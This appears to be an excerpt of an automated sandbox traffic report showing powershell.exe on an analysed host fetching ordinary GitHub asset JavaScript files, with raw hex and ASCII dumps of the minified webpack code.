2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 5d 2c 7b 34 37 33 34 33 3a 28 65 2c 74 2c 72 29 3d 3e 7b 76 61 72 20 6f 3d 72 28 32 33 37 38 30 29 2c 69 3d 72 28 39 37 31 35 36 29 3b 69 2e 63 67 3f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 65 3d 3e 7b 65 2e 65 72 72 6f 72 26 26 6f 2e 4e 37 28 65 2e 65 72 72 6f 72 29 7d 29 2c 69 2e 63 67 3f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 61 73 79 6e 63 20 65 3d 3e 7b 69 66 28 65 2e 70 72 6f 6d Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["environment"],{47343:(e,t,r)=>{var o=r(23780),i=r(97156);i.cg?.addEventListener("error",e=>{e.error&&o.N7(e.error)}),i.cg?.addEventListener("unhandledrejection",async e=>{if(e.prom
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 77 20 6e 2e 73 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 6c 65 74 20 74 3d 28 30 2c 69 2e 4f 29 28 22 6f 63 74 6f 6c 79 74 69 63 73 22 29 2e 62 61 73 65 43 6f 6e 74 65 78 74 7c 7c 7b 7d 3b 69 66 28 74 29 66 6f 72 28 6c 65 74 5b 65 2c 72 5d 6f 66 28 64 65 6c 65 74 65 20 74 2e 61 70 70 5f 69 64 2c 64 65 6c 65 74 65 20 74 2e 65 76 65 6e 74 5f 75 72 6c 2c 64 65 6c 65 74 65 20 74 2e 68 6f 73 74 2c 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 74 29 29 29 65 2e 73 74 61 72 74 73 57 69 74 68 28 73 29 26 26 28 74 5b 65 2e 72 65 70 6c 61 63 65 28 73 2c 22 22 29 5d 3d 72 2c 64 65 6c 65 74 65 20 74 5b 65 5d 29 3b 6c 65 74 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6d 65 74 61 5b 6e 61 6d Data Ascii: w n.s(e)}catch(e){}function u(e){let t=(0,i.O)("octolytics").baseContext\|\|{};if(t)for(let[e,r]of(delete t.app_id,delete t.event_url,delete t.host,Object.entries(t)))e.startsWith(s)&&(t[e.replace(s,"")]=r,delete t[e]);let r=document.querySelector("meta[nam
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 28 6e 2c 7b 46 4f 52 42 49 44 5f 41 54 54 52 3a 5b 5d 7d 29 2c 69 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 21 3d 3d 6f 2e 6c 65 6e 67 74 68 29 7b 6c 65 74 20 61 3d 45 72 72 6f 72 28 22 54 72 75 73 74 65 64 20 54 79 70 65 73 20 70 6f 6c 69 63 79 20 6f 75 74 70 75 74 20 73 61 6e 69 74 69 7a 65 64 22 29 2c 63 3d 61 2e 73 74 61 63 6b 3f 2e 73 6c 69 63 65 28 30 2c 31 65 33 29 2c 73 3d 6e 2e 73 6c 69 63 65 28 30 2c 32 35 30 29 3b 28 30 2c 6c 2e 42 49 29 28 22 74 72 75 73 74 65 64 5f 74 79 70 65 73 5f 70 6f 6c 69 63 79 2e 73 61 6e 69 74 69 7a 65 22 2c 7b 70 6f 6c 69 63 79 4e 61 6d 65 3a 74 2c 6f 75 74 70 75 74 3a 73 2c 73 74 61 63 6b 3a 63 2c 6f 75 74 70 75 74 4c 65 6e 67 74 68 3a 6e 2e 6c 65 Data Ascii: (n,{FORBID_ATTR:[]}),i=window.performance.now();if(n.length!==o.length){let a=Error("Trusted Types policy output sanitized"),c=a.stack?.slice(0,1e3),s=n.slice(0,250);(0,l.BI)("trusted_types_policy.sanitize",{policyName:t,output:s,stack:c,outputLength:n.le
2024-09-30 13:50:17 UTC	648	IN	Data Raw: 66 6c 6f 77 2c 20 61 6e 64 20 69 73 20 75 73 65 64 20 73 6f 6c 65 6c 79 20 66 6f 72 20 73 74 61 74 69 73 74 69 63 20 63 6f 6c 6c 65 63 74 69 6f 6e 2e 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 20 77 65 0a 20 20 20 20 63 61 6e 27 74 20 67 61 74 68 65 72 20 74 68 65 73 65 20 73 74 61 74 69 73 74 69 63 73 20 77 69 74 68 6f 75 74 20 61 64 64 69 6e 67 20 74 68 65 20 61 62 6f 76 65 20 77 61 72 6e 69 6e 67 73 20 74 6f 20 79 6f 75 72 20 63 6f 6e 73 6f 6c 65 2e 20 53 6f 72 72 79 20 61 62 6f 75 74 20 74 68 61 74 21 0a 20 20 20 20 46 65 65 6c 20 66 72 65 65 20 74 6f 20 64 72 6f 70 20 62 79 20 23 70 72 6f 64 73 65 63 2d 65 6e 67 69 6e 65 65 72 69 6e 67 20 69 66 20 79 6f 75 20 68 61 76 65 20 61 6e 79 20 61 64 64 69 74 69 6f 6e 61 6c 20 71 75 65 73 74 69 6f 6e 73 20 61 Data Ascii: flow, and is used solely for statistic collection. Unfortunately we can't gather these statistics without adding the above warnings to your console. Sorry about that! Feel free to drop by #prodsec-engineering if you have any additional questions a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49729	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:16 UTC	380	OUT	GET /assets/ui_packages_failbot_failbot_ts-aabfa4ec15fe.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:17 UTC	693	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8897 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:43 GMT ETag: "0x8DCDD32D8F7A7C9" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453087 Date: Mon, 30 Sep 2024 13:50:16 GMT X-Served-By: cache-iad-kiad7000039-IAD, cache-nyc-kteb1890099-NYC X-Cache: HIT, HIT X-Cache-Hits: 52, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f6cb0b2f6083c6d8299b69038ef03f4967ca7923
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 66 61 69 6c 62 6f 74 5f 66 61 69 6c 62 6f 74 5f 74 73 22 5d 2c 7b 32 37 37 35 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6c 65 74 20 72 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 69 66 28 21 72 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 6c 69 65 6e 74 20 65 6e 76 20 77 61 73 20 72 65 71 75 65 73 74 65 64 20 62 65 66 6f 72 65 20 69 74 20 77 61 73 20 6c 6f 61 64 65 64 2e 20 54 68 69 73 20 6c 69 6b 65 6c 79 20 6d 65 61 6e 73 20 79 6f 75 20 61 72 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 75 73 65 20 63 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_failbot_failbot_ts"],{27756:(e,t,n)=>{let r;function o(){if(!r)throw Error("Client env was requested before it was loaded. This likely means you are attempting to use c
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 73 73 61 67 65 29 7c 7c 65 2e 6e 61 6d 65 2e 73 74 61 72 74 73 57 69 74 68 28 22 41 70 69 45 72 72 6f 72 22 29 26 26 67 2e 68 61 73 28 65 2e 6d 65 73 73 61 67 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 3d 7b 7d 29 7b 69 66 28 28 30 2c 6c 2e 47 37 29 28 22 46 41 49 4c 42 4f 54 5f 48 41 4e 44 4c 45 5f 4e 4f 4e 5f 45 52 52 4f 52 53 22 29 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 26 26 22 6e 61 6d 65 22 69 6e 20 65 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 6e 61 6d 65 26 26 22 6d 65 73 73 61 67 65 22 69 6e 20 65 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 6d 65 73 73 61 67 65 29 29 7b 69 Data Ascii: ssage)\|\|e.name.startsWith("ApiError")&&g.has(e.message))}function p(e,t={}){if((0,l.G7)("FAILBOT_HANDLE_NON_ERRORS")){if(!(e instanceof Error\|\|"object"==typeof e&&null!==e&&"name"in e&&"string"==typeof e.name&&"message"in e&&"string"==typeof e.message)){i
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 7d 28 29 2b 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 69 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 61 6e 61 6c 79 74 69 63 73 2d 6c 6f 63 61 74 69 6f 6e 2d 71 75 65 72 79 2d 73 74 72 69 70 5d 22 29 2c 74 3d 22 22 3b 65 7c 7c 28 74 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 6c 65 74 20 6e 3d 69 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 61 6e 61 6c 79 74 69 63 73 2d 6c 6f 63 61 74 69 6f 6e 2d 70 61 72 61 6d 73 5d 22 29 3b 66 6f 72 28 6c 65 74 20 65 20 6f 66 28 6e 26 26 28 74 2b 3d 28 74 3f 22 26 22 3a 22 3f 22 29 2b 6e 2e 63 6f 6e 74 65 6e 74 29 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 6d 65 74 61 5b 6e 61 6d 65 Data Ascii: :window.location.pathname}()+function(){let e=i("meta[name=analytics-location-query-strip]"),t="";e\|\|(t=window.location.search);let n=i("meta[name=analytics-location-params]");for(let e of(n&&(t+=(t?"&":"?")+n.content),document.querySelectorAll("meta[name
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 53 65 74 28 28 30 2c 6f 2e 5f 24 29 28 29 2e 66 65 61 74 75 72 65 46 6c 61 67 73 2e 6d 61 70 28 65 3d 3e 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 7d 6c 65 74 20 69 3d 6e 28 39 37 31 35 36 29 2e 58 33 3f 61 3a 28 30 2c 72 2e 41 29 28 61 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 69 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 20 69 28 29 2e 68 61 73 28 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 6c 65 74 20 6c 3d 7b 69 73 46 65 61 74 75 72 65 45 6e 61 62 6c 65 64 3a 75 7d 7d 2c 31 34 37 34 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 6b 3a 28 29 3d 3e 69 2c 76 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 35 32 32 35 29 2c 6f 3d 6e 28 39 37 Data Ascii: Set((0,o._$)().featureFlags.map(e=>e.toLowerCase()))}let i=n(97156).X3?a:(0,r.A)(a);function c(){return Array.from(i())}function u(e){return i().has(e.toLowerCase())}let l={isFeatureEnabled:u}},14740:(e,t,n)=>{n.d(t,{k:()=>i,v:()=>c});var r=n(5225),o=n(97
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 73 65 28 29 2e 69 6e 63 6c 75 64 65 73 28 22 71 75 6f 74 61 22 29 29 74 68 72 6f 77 20 65 7d 7d 2c 72 65 6d 6f 76 65 49 74 65 6d 3a 66 2c 63 6c 65 61 72 3a 75 2e 63 6c 65 61 72 2c 6b 65 79 3a 75 2e 6b 65 79 2c 67 65 74 20 6c 65 6e 67 74 68 28 29 7b 72 65 74 75 72 6e 20 75 2e 6c 65 6e 67 74 68 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 20 69 28 65 2c 7b 74 68 72 6f 77 51 75 6f 74 61 45 72 72 6f 72 73 4f 6e 53 65 74 3a 21 31 7d 2c 72 2e 63 67 2c 4a 53 4f 4e 2e 70 61 72 73 65 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 29 7d 7d 2c 36 39 36 35 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 41 69 3a 28 29 3d 3e 61 2c 47 71 3a 28 29 3d 3e 72 2c 53 4f 3a 28 29 3d 3e 6f 7d 29 3b 6c 65 74 7b 67 65 74 49 74 65 6d 3a 72 2c 73 65 Data Ascii: se().includes("quota"))throw e}},removeItem:f,clear:u.clear,key:u.key,get length(){return u.length}}}function c(e){return i(e,{throwQuotaErrorsOnSet:!1},r.cg,JSON.parse,JSON.stringify)}},69653:(e,t,n)=>{n.d(t,{Ai:()=>a,Gq:()=>r,SO:()=>o});let{getItem:r,se
2024-09-30 13:50:17 UTC	1378	IN	Data Raw: 21 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 72 65 61 63 74 2d 61 70 70 22 29 3f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 70 70 2d 6e 61 6d 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 28 30 2c 72 2e 53 4f 29 28 73 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 71 28 29 7b 72 65 74 75 72 6e 28 30 2c 72 2e 47 71 29 28 73 29 7d 7d 2c 39 37 31 35 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 4b 4a 3a 28 29 3d 3e 72 2e 4b 4a 2c 4b 6e 3a 28 29 3d 3e 6f 2e 4b 6e 2c 58 33 3a 28 29 3d 3e 72 2e 58 33 2c 58 43 3a 28 29 3d 3e 6f 2e 58 43 2c 63 67 3a 28 29 3d 3e 6f 2e 63 67 2c 66 56 3a 28 29 3d 3e 6f 2e 66 56 2c 67 35 3a 28 29 3d 3e 72 2e 67 35 7d 29 3b 76 61 72 20 72 3d 6e 28 31 35 35 37 32 29 2c 6f 3d 6e 28 38 36 37 Data Ascii: !document.querySelector("react-app")?.getAttribute("app-name")}function O(e){(0,r.SO)(s,e)}function q(){return(0,r.Gq)(s)}},97156:(e,t,n)=>{n.d(t,{KJ:()=>r.KJ,Kn:()=>o.Kn,X3:()=>r.X3,XC:()=>o.XC,cg:()=>o.cg,fV:()=>o.fV,g5:()=>r.g5});var r=n(15572),o=n(867
2024-09-30 13:50:17 UTC	629	IN	Data Raw: 6e 74 3b 69 66 28 65 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 5b 5d 2c 6e 3d 65 2e 6d 61 70 28 65 3d 3e 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 29 3b 66 6f 72 28 3b 6e 2e 6c 65 6e 67 74 68 3e 30 3b 29 74 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 65 2e 73 68 69 66 74 28 29 2c 6e 3d 5b 74 5d 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 65 2e 6c 65 6e 67 74 68 3e 30 26 26 72 3c 3d 36 35 35 33 36 3b 29 7b 6c 65 74 20 74 3d 65 5b 30 5d 2e 6c 65 6e 67 74 68 3b 69 66 28 72 2b 74 3c 3d 36 35 35 33 36 29 7b 6c 65 74 20 6f 3d 65 2e 73 68 69 66 74 28 29 3b 6e 2e 70 75 73 68 28 6f 29 2c 72 2b 3d 74 7d 65 6c 73 65 20 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 6e 7d 28 Data Ascii: nt;if(e){for(let t of function(e){let t=[],n=e.map(e=>JSON.stringify(e));for(;n.length>0;)t.push(function(e){let t=e.shift(),n=[t],r=t.length;for(;e.length>0&&r<=65536;){let t=e[0].length;if(r+t<=65536){let o=e.shift();n.push(o),r+=t}else break}return n}(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49731	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:17 UTC	406	OUT	GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-4aa4b0e95669.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:18 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16927 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 19 Sep 2024 22:11:31 GMT ETag: "0x8DCD8F8042E40EF" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 586245 Date: Mon, 30 Sep 2024 13:50:18 GMT X-Served-By: cache-iad-kcgs7200136-IAD, cache-ewr-kewr1740058-EWR X-Cache: HIT, HIT X-Cache-Hits: 25, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: b00b9263d89dbfafb1e094c37c3fc818367624f7
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 69 6e 64 65 78 5f 6d 6a 73 22 5d 2c 7b 36 39 36 37 36 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6c 65 74 20 69 3b 6e 2e 64 28 65 2c 7b 7a 30 3a 28 29 3d 3e 73 2c 4e 4b 3a 28 29 3d 3e 45 2c 65 62 3a 28 29 3d 3e 54 2c 69 45 3a 28 29 3d 3e 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 6f 29 7b 6c 65 74 20 6c 3b 6c 65 74 20 72 3d 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 2c 61 3d 6e 75 6c 6c 21 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_behaviors_dist_esm_index_mjs"],{69676:(t,e,n)=>{let i;n.d(e,{z0:()=>s,NK:()=>E,eb:()=>T,iE:()=>function t(e,n,o){let l;let r=new AbortController,a=null!
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 73 28 6c 29 29 7b 6c 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 7d 69 66 28 6e 26 26 65 2e 63 6f 6e 74 61 69 6e 73 28 6e 29 29 7b 6e 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 7d 7b 6c 65 74 20 74 3d 28 30 2c 75 2e 5a 30 29 28 65 29 3b 6e 75 6c 6c 3d 3d 74 7c 7c 74 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 7d 7d 7d 6c 65 74 20 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6c 65 74 20 65 3d 6e 65 77 20 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 3b 72 65 74 75 72 6e 20 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 62 6f 72 74 22 2c 28 29 3d 3e 7b 65 2e 61 62 6f 72 74 28 29 7d 29 2c 65 7d 28 61 29 3b 69 66 28 69 29 7b 6c 65 74 20 74 3d 69 3b 69 2e 63 6f 6e 74 61 69 6e 65 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 Data Ascii: s(l)){l.focus();return}if(n&&e.contains(n)){n.focus();return}{let t=(0,u.Z0)(e);null==t\|\|t.focus();return}}}let g=function(t){let e=new AbortController;return t.addEventListener("abort",()=>{e.abort()}),e}(a);if(i){let t=i;i.container.setAttribute("data-f
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 74 61 72 74 22 5d 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 2c 6e 3d 7b 7d 29 7b 6c 65 74 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 69 66 28 22 44 49 41 4c 4f 47 22 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 69 66 28 74 2e 6d 61 74 63 68 65 73 28 22 3a 70 6f 70 6f 76 65 72 2d 6f 70 65 6e 22 29 26 26 2f 6e 61 74 69 76 65 20 63 6f 64 65 2f 2e 74 65 73 74 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 68 6f 77 50 6f 70 6f 76 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 29 72 65 74 75 72 6e 21 30 7d 63 61 74 63 68 28 74 29 7b 7d 72 65 74 75 72 6e 21 31 7d 28 74 Data Ascii: tart"]};function r(t,e,n={}){let i=function(t){if(function(t){var e;if("DIALOG"===t.tagName)return!0;try{if(t.matches(":popover-open")&&/native code/.test(null===(e=document.body.showPopover)\|\|void 0===e?void 0:e.toString()))return!0}catch(t){}return!1}(t
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 65 69 67 68 74 3e 63 2e 68 65 69 67 68 74 2b 63 2e 74 6f 70 3a 76 2e 6c 65 66 74 3c 63 2e 6c 65 66 74 7c 7c 76 2e 6c 65 66 74 2b 6e 2e 77 69 64 74 68 3e 63 2e 77 69 64 74 68 2b 63 2e 6c 65 66 74 29 3b 29 7b 6c 65 74 20 6f 3d 73 5b 41 2b 2b 5d 3b 74 3d 6f 2c 67 3d 64 28 6e 2c 69 2c 6f 2c 61 2c 75 2c 66 29 2c 67 2e 74 6f 70 2d 3d 65 2e 74 6f 70 2c 67 2e 6c 65 66 74 2d 3d 65 2e 6c 65 66 74 2c 68 3d 6f 7d 7d 6c 65 74 20 45 3d 6c 5b 61 5d 2c 54 3d 30 3b 69 66 28 45 29 7b 6c 65 74 20 74 3d 61 3b 66 6f 72 28 3b 54 3c 45 2e 6c 65 6e 67 74 68 26 26 28 62 3d 74 2c 77 3d 67 2c 22 65 6e 64 22 3d 3d 3d 62 3f 77 2e 6c 65 66 74 3c 63 2e 6c 65 66 74 3a 22 73 74 61 72 74 22 3d 3d 3d 62 7c 7c 22 63 65 6e 74 65 72 22 3d 3d 3d 62 3f 77 2e 6c 65 66 74 2b 6e 2e 77 69 64 74 68 Data Ascii: eight>c.height+c.top:v.left<c.left\|\|v.left+n.width>c.width+c.left);){let o=s[A++];t=o,g=d(n,i,o,a,u,f),g.top-=e.top,g.left-=e.left,h=o}}let E=l[a],T=0;if(E){let t=a;for(;T<E.length&&(b=t,w=g,"end"===b?w.left<c.left:"start"===b\|\|"center"===b?w.left+n.width
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 2e 74 6f 70 2d 6f 2d 74 2e 68 65 69 67 68 74 3a 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 3d 3d 3d 6e 3f 64 3d 61 2b 6f 3a 22 6f 75 74 73 69 64 65 2d 6c 65 66 74 22 3d 3d 3d 6e 3f 73 3d 65 2e 6c 65 66 74 2d 6f 2d 74 2e 77 69 64 74 68 3a 22 6f 75 74 73 69 64 65 2d 72 69 67 68 74 22 3d 3d 3d 6e 26 26 28 73 3d 72 2b 6f 29 2c 28 22 6f 75 74 73 69 64 65 2d 74 6f 70 22 3d 3d 3d 6e 7c 7c 22 6f 75 74 73 69 64 65 2d 62 6f 74 74 6f 6d 22 3d 3d 3d 6e 29 26 26 28 73 3d 22 73 74 61 72 74 22 3d 3d 3d 69 3f 65 2e 6c 65 66 74 2b 6c 3a 22 63 65 6e 74 65 72 22 3d 3d 3d 69 3f 65 2e 6c 65 66 74 2d 28 74 2e 77 69 64 74 68 2d 65 2e 77 69 64 74 68 29 2f 32 2b 6c 3a 72 2d 74 2e 77 69 64 74 68 2d 6c 29 2c 28 22 6f 75 74 73 69 64 65 2d 6c 65 66 74 22 3d 3d 3d 6e 7c 7c 22 6f Data Ascii: .top-o-t.height:"outside-bottom"===n?d=a+o:"outside-left"===n?s=e.left-o-t.width:"outside-right"===n&&(s=r+o),("outside-top"===n\|\|"outside-bottom"===n)&&(s="start"===i?e.left+l:"center"===i?e.left-(t.width-e.width)/2+l:r-t.width-l),("outside-left"===n\|\|"o
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 74 61 6c 3d 31 5d 3d 22 41 72 72 6f 77 48 6f 72 69 7a 6f 6e 74 61 6c 22 2c 74 5b 74 2e 41 72 72 6f 77 56 65 72 74 69 63 61 6c 3d 32 5d 3d 22 41 72 72 6f 77 56 65 72 74 69 63 61 6c 22 2c 74 5b 74 2e 4a 4b 3d 34 5d 3d 22 4a 4b 22 2c 74 5b 74 2e 48 4c 3d 38 5d 3d 22 48 4c 22 2c 74 5b 74 2e 48 6f 6d 65 41 6e 64 45 6e 64 3d 31 36 5d 3d 22 48 6f 6d 65 41 6e 64 45 6e 64 22 2c 74 5b 74 2e 50 61 67 65 55 70 44 6f 77 6e 3d 32 35 36 5d 3d 22 50 61 67 65 55 70 44 6f 77 6e 22 2c 74 5b 74 2e 57 53 3d 33 32 5d 3d 22 57 53 22 2c 74 5b 74 2e 41 44 3d 36 34 5d 3d 22 41 44 22 2c 74 5b 74 2e 54 61 62 3d 31 32 38 5d 3d 22 54 61 62 22 2c 74 5b 74 2e 42 61 63 6b 73 70 61 63 65 3d 35 31 32 5d 3d 22 42 61 63 6b 73 70 61 63 65 22 2c 74 5b 74 2e 41 72 72 6f 77 41 6c 6c 3d 33 5d 3d Data Ascii: tal=1]="ArrowHorizontal",t[t.ArrowVertical=2]="ArrowVertical",t[t.JK=4]="JK",t[t.HL=8]="HL",t[t.HomeAndEnd=16]="HomeAndEnd",t[t.PageUpDown=256]="PageUpDown",t[t.WS=32]="WS",t[t.AD=64]="AD",t[t.Tab=128]="Tab",t[t.Backspace=512]="Backspace",t[t.ArrowAll=3]=
